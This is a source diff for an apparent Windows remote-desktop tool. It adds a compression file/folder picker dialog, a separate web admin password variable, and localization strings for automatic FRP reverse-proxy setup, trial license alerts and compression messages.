IDM_ENABLE_H264_HARD,
|
||||||
|
IDM_ENABLE_AV1_HARD,
|
||||||
};
|
};
|
||||||
|
|
||||||
// 状态信息窗口 - 全屏时显示帧率/速度/质量
|
// 状态信息窗口 - 全屏时显示帧率/速度/质量
|
||||||
|
|||||||
@@ -46,7 +46,7 @@
|
|||||||
|
|
||||||
// 程序版本号 [建议格式: X.Y.Z]
|
// 程序版本号 [建议格式: X.Y.Z]
|
||||||
// 影响:关于对话框、标题栏
|
// 影响:关于对话框、标题栏
|
||||||
#define BRAND_VERSION "1.3.3"
|
#define BRAND_VERSION "1.3.5"
|
||||||
|
|
||||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||||
@@ -293,6 +293,11 @@
|
|||||||
#define BRAND_LICENSE_MAGIC "YAMA" // 许可证魔数
|
#define BRAND_LICENSE_MAGIC "YAMA" // 许可证魔数
|
||||||
#define BRAND_EVENT_PREFIX "YAMA" // 进程事件名前缀
|
#define BRAND_EVENT_PREFIX "YAMA" // 进程事件名前缀
|
||||||
#define BRAND_ENV_VAR "YAMA_PWD" // 环境变量名(set YAMA_PWD=密码)
|
#define BRAND_ENV_VAR "YAMA_PWD" // 环境变量名(set YAMA_PWD=密码)
|
||||||
|
// Web UI 专用 admin 密码;优先级高于 BRAND_ENV_VAR。两者都未设置时退回到
|
||||||
|
// 兼容行为(用 m_superPass)。隔离的目的是让公网 Web 登录密码与下级授权
|
||||||
|
// 用的 master password 解耦——后者一旦泄漏影响面更大,应避免在公网登录
|
||||||
|
// 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
|
||||||
|
#define BRAND_WEB_ENV_VAR "YAMA_WEB_ADMIN_PASS"
|
||||||
|
|
||||||
// --- 宽字符版本(自动生成)---
|
// --- 宽字符版本(自动生成)---
|
||||||
#define BRAND_APP_NAME_W _T(BRAND_APP_NAME)
|
#define BRAND_APP_NAME_W _T(BRAND_APP_NAME)
|
||||||
|
|||||||
260
server/2015Remote/ZstaPickerDlg.cpp
Normal file
@@ -0,0 +1,260 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "ZstaPickerDlg.h"
|
||||||
|
#include "LangManager.h"
|
||||||
|
#include <shobjidl.h>
|
||||||
|
#include <atlconv.h>
|
||||||
|
#include <algorithm>
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
bool IsDirectoryPath(const std::string& p)
|
||||||
|
{
|
||||||
|
DWORD attr = GetFileAttributesA(p.c_str());
|
||||||
|
return (attr != INVALID_FILE_ATTRIBUTES) && (attr & FILE_ATTRIBUTE_DIRECTORY);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构造一个无控件的 DLGTEMPLATE:cdit=0,控件由 OnInitDialog 动态创建。
|
||||||
|
void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption,
|
||||||
|
short cx, short cy)
|
||||||
|
{
|
||||||
|
out.clear();
|
||||||
|
auto append = [&](const void* p, size_t n) {
|
||||||
|
const BYTE* b = (const BYTE*)p;
|
||||||
|
out.insert(out.end(), b, b + n);
|
||||||
|
};
|
||||||
|
auto appendW = [&](WORD v) {
|
||||||
|
out.push_back((BYTE)(v & 0xFF));
|
||||||
|
out.push_back((BYTE)((v >> 8) & 0xFF));
|
||||||
|
};
|
||||||
|
auto appendWStr = [&](LPCWSTR s) {
|
||||||
|
size_t n = wcslen(s);
|
||||||
|
append(s, (n + 1) * sizeof(WCHAR));
|
||||||
|
};
|
||||||
|
|
||||||
|
DLGTEMPLATE dt = { 0 };
|
||||||
|
dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
|
||||||
|
WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME;
|
||||||
|
dt.dwExtendedStyle = 0;
|
||||||
|
dt.cdit = 0;
|
||||||
|
dt.x = 0; dt.y = 0;
|
||||||
|
dt.cx = cx; dt.cy = cy;
|
||||||
|
append(&dt, sizeof(dt));
|
||||||
|
appendW(0); // no menu
|
||||||
|
appendW(0); // default dialog class
|
||||||
|
appendWStr(caption); // caption
|
||||||
|
appendW(8); // font point size
|
||||||
|
appendWStr(L"MS Shell Dlg"); // typeface
|
||||||
|
|
||||||
|
while (out.size() % 4) out.push_back(0); // DWORD align
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
|
||||||
|
CZstaPickerDlg::CZstaPickerDlg(CWnd* parent)
|
||||||
|
: CDialog((LPCTSTR)NULL, parent)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CZstaPickerDlg, CDialog)
|
||||||
|
ON_BN_CLICKED(IDC_ZSTA_ADDFILES, &CZstaPickerDlg::OnAddFiles)
|
||||||
|
ON_BN_CLICKED(IDC_ZSTA_ADDFOLDERS, &CZstaPickerDlg::OnAddFolders)
|
||||||
|
ON_BN_CLICKED(IDC_ZSTA_REMOVE, &CZstaPickerDlg::OnRemove)
|
||||||
|
ON_WM_SIZE()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
INT_PTR CZstaPickerDlg::DoModal()
|
||||||
|
{
|
||||||
|
CString title = _TR("选择要压缩的文件 / 文件夹");
|
||||||
|
USES_CONVERSION;
|
||||||
|
BuildDialogTemplate(m_Template, T2CW(title), 360, 220);
|
||||||
|
InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
|
||||||
|
return CDialog::DoModal();
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CZstaPickerDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
CRect cli;
|
||||||
|
GetClientRect(&cli);
|
||||||
|
|
||||||
|
// 占位 rect,真正布局在 LayoutControls 里
|
||||||
|
CRect r0(0, 0, 10, 10);
|
||||||
|
|
||||||
|
m_List.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||||
|
LVS_REPORT | LVS_SHOWSELALWAYS,
|
||||||
|
r0, this, IDC_ZSTA_LIST);
|
||||||
|
m_List.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||||
|
m_List.InsertColumn(0, _TR("类型"), LVCFMT_LEFT, 60);
|
||||||
|
m_List.InsertColumn(1, _TR("路径"), LVCFMT_LEFT, 400);
|
||||||
|
|
||||||
|
auto mkBtn = [&](CButton& b, LPCTSTR text, int id, DWORD extra = 0) {
|
||||||
|
b.Create(text,
|
||||||
|
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON | extra,
|
||||||
|
r0, this, id);
|
||||||
|
};
|
||||||
|
mkBtn(m_BtnAddFiles, _TR("添加文件..."), IDC_ZSTA_ADDFILES);
|
||||||
|
mkBtn(m_BtnAddFolders, _TR("添加文件夹..."), IDC_ZSTA_ADDFOLDERS);
|
||||||
|
mkBtn(m_BtnRemove, _TR("移除选中"), IDC_ZSTA_REMOVE);
|
||||||
|
mkBtn(m_BtnOK, _TR("确定"), IDOK, BS_DEFPUSHBUTTON);
|
||||||
|
mkBtn(m_BtnCancel, _TR("取消"), IDCANCEL);
|
||||||
|
|
||||||
|
// 子控件继承对话框的字体 (DS_SETFONT)
|
||||||
|
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
|
||||||
|
if (hFont) {
|
||||||
|
m_List.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_BtnAddFiles.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_BtnAddFolders.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_BtnRemove.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_BtnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
m_BtnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
LayoutControls(cli.Width(), cli.Height());
|
||||||
|
RefreshList();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CDialog::OnSize(nType, cx, cy);
|
||||||
|
if (m_List.GetSafeHwnd()) LayoutControls(cx, cy);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::LayoutControls(int cx, int cy)
|
||||||
|
{
|
||||||
|
const int margin = 10;
|
||||||
|
const int btnW = 120;
|
||||||
|
const int btnH = 26;
|
||||||
|
const int gap = 6;
|
||||||
|
|
||||||
|
int listRight = cx - margin - btnW - margin;
|
||||||
|
if (listRight < margin + 100) listRight = margin + 100;
|
||||||
|
|
||||||
|
m_List.MoveWindow(margin, margin, listRight - margin, cy - margin * 2);
|
||||||
|
|
||||||
|
int x = listRight + margin;
|
||||||
|
int y = margin;
|
||||||
|
m_BtnAddFiles.MoveWindow(x, y, btnW, btnH); y += btnH + gap;
|
||||||
|
m_BtnAddFolders.MoveWindow(x, y, btnW, btnH); y += btnH + gap;
|
||||||
|
m_BtnRemove.MoveWindow(x, y, btnW, btnH);
|
||||||
|
|
||||||
|
int bottomY = cy - margin - btnH;
|
||||||
|
m_BtnCancel.MoveWindow(x, bottomY, btnW, btnH);
|
||||||
|
m_BtnOK.MoveWindow(x, bottomY - btnH - gap, btnW, btnH);
|
||||||
|
|
||||||
|
// 让"路径"列填满剩余宽度
|
||||||
|
if (m_List.GetSafeHwnd()) {
|
||||||
|
CRect lr;
|
||||||
|
m_List.GetClientRect(&lr);
|
||||||
|
int w0 = m_List.GetColumnWidth(0);
|
||||||
|
int w1 = lr.Width() - w0 - GetSystemMetrics(SM_CXVSCROLL) - 4;
|
||||||
|
if (w1 > 100) m_List.SetColumnWidth(1, w1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::AddPath(const std::string& path)
|
||||||
|
{
|
||||||
|
if (path.empty()) return;
|
||||||
|
if (std::find(m_Paths.begin(), m_Paths.end(), path) == m_Paths.end()) {
|
||||||
|
m_Paths.push_back(path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::RefreshList()
|
||||||
|
{
|
||||||
|
m_List.DeleteAllItems();
|
||||||
|
for (size_t i = 0; i < m_Paths.size(); ++i) {
|
||||||
|
bool isDir = IsDirectoryPath(m_Paths[i]);
|
||||||
|
m_List.InsertItem((int)i, isDir ? _TR("文件夹") : _TR("文件"));
|
||||||
|
m_List.SetItemText((int)i, 1, CString(m_Paths[i].c_str()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::OnAddFiles()
|
||||||
|
{
|
||||||
|
const DWORD MAX_BUF = 64 * 1024;
|
||||||
|
std::vector<TCHAR> buf(MAX_BUF, 0);
|
||||||
|
CFileDialog dlg(TRUE, NULL, NULL,
|
||||||
|
OFN_ALLOWMULTISELECT | OFN_EXPLORER |
|
||||||
|
OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||||||
|
_T("All Files (*.*)|*.*||"), this);
|
||||||
|
dlg.m_ofn.lpstrFile = buf.data();
|
||||||
|
dlg.m_ofn.nMaxFile = MAX_BUF;
|
||||||
|
CString title = _TR("选择文件 (可多选)");
|
||||||
|
dlg.m_ofn.lpstrTitle = title;
|
||||||
|
if (dlg.DoModal() != IDOK) return;
|
||||||
|
|
||||||
|
POSITION pos = dlg.GetStartPosition();
|
||||||
|
while (pos) {
|
||||||
|
CString p = dlg.GetNextPathName(pos);
|
||||||
|
AddPath(std::string(CT2A(p.GetString())));
|
||||||
|
}
|
||||||
|
RefreshList();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::OnAddFolders()
|
||||||
|
{
|
||||||
|
IFileOpenDialog* pfd = nullptr;
|
||||||
|
HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL,
|
||||||
|
CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pfd));
|
||||||
|
if (FAILED(hr) || !pfd) return;
|
||||||
|
|
||||||
|
DWORD flags = 0;
|
||||||
|
pfd->GetOptions(&flags);
|
||||||
|
pfd->SetOptions(flags | FOS_PICKFOLDERS | FOS_ALLOWMULTISELECT |
|
||||||
|
FOS_PATHMUSTEXIST | FOS_FORCEFILESYSTEM);
|
||||||
|
|
||||||
|
USES_CONVERSION;
|
||||||
|
CString title = _TR("选择文件夹 (可多选)");
|
||||||
|
pfd->SetTitle(T2CW(title));
|
||||||
|
|
||||||
|
if (SUCCEEDED(pfd->Show(GetSafeHwnd()))) {
|
||||||
|
IShellItemArray* psia = nullptr;
|
||||||
|
if (SUCCEEDED(pfd->GetResults(&psia)) && psia) {
|
||||||
|
DWORD count = 0;
|
||||||
|
psia->GetCount(&count);
|
||||||
|
for (DWORD i = 0; i < count; ++i) {
|
||||||
|
IShellItem* psi = nullptr;
|
||||||
|
if (SUCCEEDED(psia->GetItemAt(i, &psi)) && psi) {
|
||||||
|
PWSTR wpath = nullptr;
|
||||||
|
if (SUCCEEDED(psi->GetDisplayName(SIGDN_FILESYSPATH, &wpath)) && wpath) {
|
||||||
|
int n = WideCharToMultiByte(CP_ACP, 0, wpath, -1,
|
||||||
|
NULL, 0, NULL, NULL);
|
||||||
|
if (n > 1) {
|
||||||
|
std::string s(n - 1, '\0');
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, wpath, -1,
|
||||||
|
&s[0], n, NULL, NULL);
|
||||||
|
AddPath(s);
|
||||||
|
}
|
||||||
|
CoTaskMemFree(wpath);
|
||||||
|
}
|
||||||
|
psi->Release();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
psia->Release();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pfd->Release();
|
||||||
|
RefreshList();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CZstaPickerDlg::OnRemove()
|
||||||
|
{
|
||||||
|
std::vector<int> indices;
|
||||||
|
POSITION pos = m_List.GetFirstSelectedItemPosition();
|
||||||
|
while (pos) indices.push_back(m_List.GetNextSelectedItem(pos));
|
||||||
|
|
||||||
|
std::sort(indices.begin(), indices.end(), std::greater<int>());
|
||||||
|
for (int idx : indices) {
|
||||||
|
if (idx >= 0 && idx < (int)m_Paths.size()) {
|
||||||
|
m_Paths.erase(m_Paths.begin() + idx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RefreshList();
|
||||||
|
}
|
||||||
52
server/2015Remote/ZstaPickerDlg.h
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxcmn.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// 让用户在同一个对话框里累加要压缩的"文件 + 文件夹"组合:
|
||||||
|
// [添加文件...] 调出多选文件对话框
|
||||||
|
// [添加文件夹...] 调出多选文件夹对话框 (IFileOpenDialog + FOS_PICKFOLDERS)
|
||||||
|
// [移除选中] 从列表里删除
|
||||||
|
// DoModal() 返回 IDOK 时,m_Paths 即为结果 (ANSI/MBCS 路径,与 ZSTA 管道一致)。
|
||||||
|
class CZstaPickerDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit CZstaPickerDlg(CWnd* parent = nullptr);
|
||||||
|
|
||||||
|
virtual INT_PTR DoModal();
|
||||||
|
|
||||||
|
std::vector<std::string> m_Paths;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
|
||||||
|
afx_msg void OnAddFiles();
|
||||||
|
afx_msg void OnAddFolders();
|
||||||
|
afx_msg void OnRemove();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
private:
|
||||||
|
enum CtrlId {
|
||||||
|
IDC_ZSTA_LIST = 1001,
|
||||||
|
IDC_ZSTA_ADDFILES = 1002,
|
||||||
|
IDC_ZSTA_ADDFOLDERS = 1003,
|
||||||
|
IDC_ZSTA_REMOVE = 1004,
|
||||||
|
};
|
||||||
|
|
||||||
|
CListCtrl m_List;
|
||||||
|
CButton m_BtnAddFiles;
|
||||||
|
CButton m_BtnAddFolders;
|
||||||
|
CButton m_BtnRemove;
|
||||||
|
CButton m_BtnOK;
|
||||||
|
CButton m_BtnCancel;
|
||||||
|
|
||||||
|
std::vector<BYTE> m_Template; // in-memory DLGTEMPLATE bytes
|
||||||
|
|
||||||
|
void AddPath(const std::string& path);
|
||||||
|
void RefreshList();
|
||||||
|
void LayoutControls(int cx, int cy);
|
||||||
|
};
|
||||||
@@ -1772,7 +1772,7 @@ FRPS
|
|||||||
Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!=Web port set failed!\nA valid authorization is required!
|
Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!=Web port set failed!\nA valid authorization is required!
|
||||||
打开Web远程桌面(&W)=Open Web SimpleRemoter(&W)
|
打开Web远程桌面(&W)=Open Web SimpleRemoter(&W)
|
||||||
请在菜单设置Web端口!=Please set Web liscening port!
|
请在菜单设置Web端口!=Please set Web liscening port!
|
||||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
|
请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=Please set YAMA_WEB_ADMIN_PASS to use Web SimpleRemoter!
|
||||||
如需Web远程桌面跨网使用方案,请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
|
如需Web远程桌面跨网使用方案,请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
|
||||||
; Plugin Settings Dialog - English Translation
|
; Plugin Settings Dialog - English Translation
|
||||||
; Format: Simplified Chinese=English
|
; Format: Simplified Chinese=English
|
||||||
@@ -1851,6 +1851,77 @@ IOCP
|
|||||||
入站告警=Inbound Alert
|
入站告警=Inbound Alert
|
||||||
反代理告警=Anti-Proxy Alert
|
反代理告警=Anti-Proxy Alert
|
||||||
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
|
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
|
||||||
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
|
入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
|
||||||
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
|
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
|
||||||
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
|
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
|
||||||
|
; Auto FRP / Upper-FRP Hot-Swap - English Translation
|
||||||
|
; Format: Simplified Chinese=English
|
||||||
|
; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
|
||||||
|
|
||||||
|
; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
|
||||||
|
[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效=[FRP] Upstream FRP reverse proxy enabled (remote port %d), now active
|
||||||
|
[FRP] 收到无效的 FRP 配置: %s=[FRP] Received invalid FRP configuration: %s
|
||||||
|
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] Upstream FRP reverse proxy configuration revoked, FRPC stopped
|
||||||
|
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d), now active
|
||||||
|
[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC=[FRP] Received invalid new FRP configuration: %s. Old FRPC stopped.
|
||||||
|
|
||||||
|
; --- 授权管理:右键菜单"自动FRP" ---
|
||||||
|
自动FRP(&F)...=Auto FRP(&F)...
|
||||||
|
|
||||||
|
; --- 授权管理 → 自动FRP 对话框相关 ---
|
||||||
|
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。=Please first enable and configure the FRPS server address, port and token in Extensions → FRPS for Subordinates, then use this feature.
|
||||||
|
未配置 FRPS=FRPS Not Configured
|
||||||
|
该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?=This license is already assigned FRPC remote port %d. Overwrite and reconfigure?
|
||||||
|
覆盖 FRPC 配置=Overwrite FRPC Configuration
|
||||||
|
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS port range is full, cannot auto-allocate. Please expand the port range in "FRPS for Subordinates" settings.
|
||||||
|
端口已满=Port Range Full
|
||||||
|
自动 FRP - %s=Auto FRP - %s
|
||||||
|
FRPC 远程端口 (1024-65535):=FRPC Remote Port (1024-65535):
|
||||||
|
端口 %d 已被序列号 %s 占用,请选择其它端口。=Port %d is already occupied by serial number %s. Please choose another port.
|
||||||
|
端口冲突=Port Conflict
|
||||||
|
生成 FRP 配置失败=Failed to generate FRP configuration
|
||||||
|
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=Configured license %s with FRPC remote port %d.\n\nWhen the subordinate comes online, it will automatically receive the FRP configuration and enable the reverse proxy.
|
||||||
|
配置成功=Configured Successfully
|
||||||
|
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
|
||||||
|
撤销FRP(&U)=Revoke FRP(&U)
|
||||||
|
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=Revoke FRP configuration for license %s?\n\nRemote port %d will be released. The reverse proxy will stop working the next time the subordinate comes online.
|
||||||
|
撤销 FRP 配置=Revoke FRP Configuration
|
||||||
|
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=Revoked FRP configuration for license %s. Remote port %d has been released.
|
||||||
|
撤销成功=Revoked Successfully
|
||||||
|
无效参数=Invalid argument
|
||||||
|
不支持的位深度,需要24位或32位=Bitmap depth is unsupported
|
||||||
|
未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw=x264 Encoder is required \nDownload via:https://sourceforge.net/projects/x264vfw
|
||||||
|
创建AVI文件失败=Create AVI file failed
|
||||||
|
启用 H264 硬编码=Enable HW H264 Encoding
|
||||||
|
启用 AV1 硬编码=Enable HW AV1 Encoding
|
||||||
|
; ZSTA Compress / Picker Dialog - English Translation
|
||||||
|
; Format: Simplified Chinese=English
|
||||||
|
|
||||||
|
; --- Picker dialog (CZstaPickerDlg) ---
|
||||||
|
选择要压缩的文件 / 文件夹=Select Files / Folders to Compress
|
||||||
|
添加文件...=Add Files...
|
||||||
|
添加文件夹...=Add Folders...
|
||||||
|
移除选中=Remove Selected
|
||||||
|
类型=Type
|
||||||
|
路径=Path
|
||||||
|
文件=File
|
||||||
|
文件夹=Folder
|
||||||
|
选择文件 (可多选)=Select Files (multi-select)
|
||||||
|
选择文件夹 (可多选)=Select Folders (multi-select)
|
||||||
|
|
||||||
|
; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
|
||||||
|
未选择任何文件或文件夹=No file or folder selected
|
||||||
|
选择压缩输出文件=Choose Output Archive
|
||||||
|
请选择要解压的 ZSTA 文件 (可多选)=Choose ZSTA File(s) to Extract (multi-select)
|
||||||
|
压缩成功 (%u 项):\n%s=Compression succeeded (%u item(s)):\n%s
|
||||||
|
压缩失败: %s=Compression failed: %s
|
||||||
|
解压完成: 成功 %d, 失败 %d=Extraction complete: %d succeeded, %d failed
|
||||||
|
|
||||||
|
; --- Common (likely already present in en_US.ini; included for completeness) ---
|
||||||
|
确定=OK
|
||||||
|
取消=Cancel
|
||||||
|
提示=Notice
|
||||||
|
错误=Error
|
||||||
|
压缩(&C)=&Compress
|
||||||
|
解压缩(&U)=&Uncompress
|
||||||
|
\n默认密码是: admin=\nDefault password is: admin
|
||||||
@@ -1764,7 +1764,7 @@ FRPS
|
|||||||
监听端口和Web服务端口冲突!=监听端口和Web服务端口冲突!
|
监听端口和Web服务端口冲突!=监听端口和Web服务端口冲突!
|
||||||
打开Web远程桌面(&W)=打开Web远程桌面(&W)
|
打开Web远程桌面(&W)=打开Web远程桌面(&W)
|
||||||
请在菜单设置Web端口!=请在菜单设置Web端口!
|
请在菜单设置Web端口!=请在菜单设置Web端口!
|
||||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
|
请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!
|
||||||
如需Web远程桌面跨网使用方案,请联系管理员!=如需Web远程桌面跨网使用方案,请联系管理员!
|
如需Web远程桌面跨网使用方案,请联系管理员!=如需Web远程桌面跨网使用方案,请联系管理员!
|
||||||
; Plugin Settings Dialog - Traditional Chinese Translation
|
; Plugin Settings Dialog - Traditional Chinese Translation
|
||||||
; Format: Simplified Chinese=Traditional Chinese
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
@@ -1842,6 +1842,77 @@ IOCP
|
|||||||
入站告警=入站告警
|
入站告警=入站告警
|
||||||
反代理告警=反代理告警
|
反代理告警=反代理告警
|
||||||
试用版 LAN-only 限制=試用版 LAN-only 限制
|
试用版 LAN-only 限制=試用版 LAN-only 限制
|
||||||
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s (Proxy Protocol 真實 IP 或 raw TCP 對端)
|
入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s (Proxy Protocol 真實 IP 或 raw TCP 對端)
|
||||||
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP:%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控,請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
|
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP:%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控,請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
|
||||||
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms,超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控,請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
|
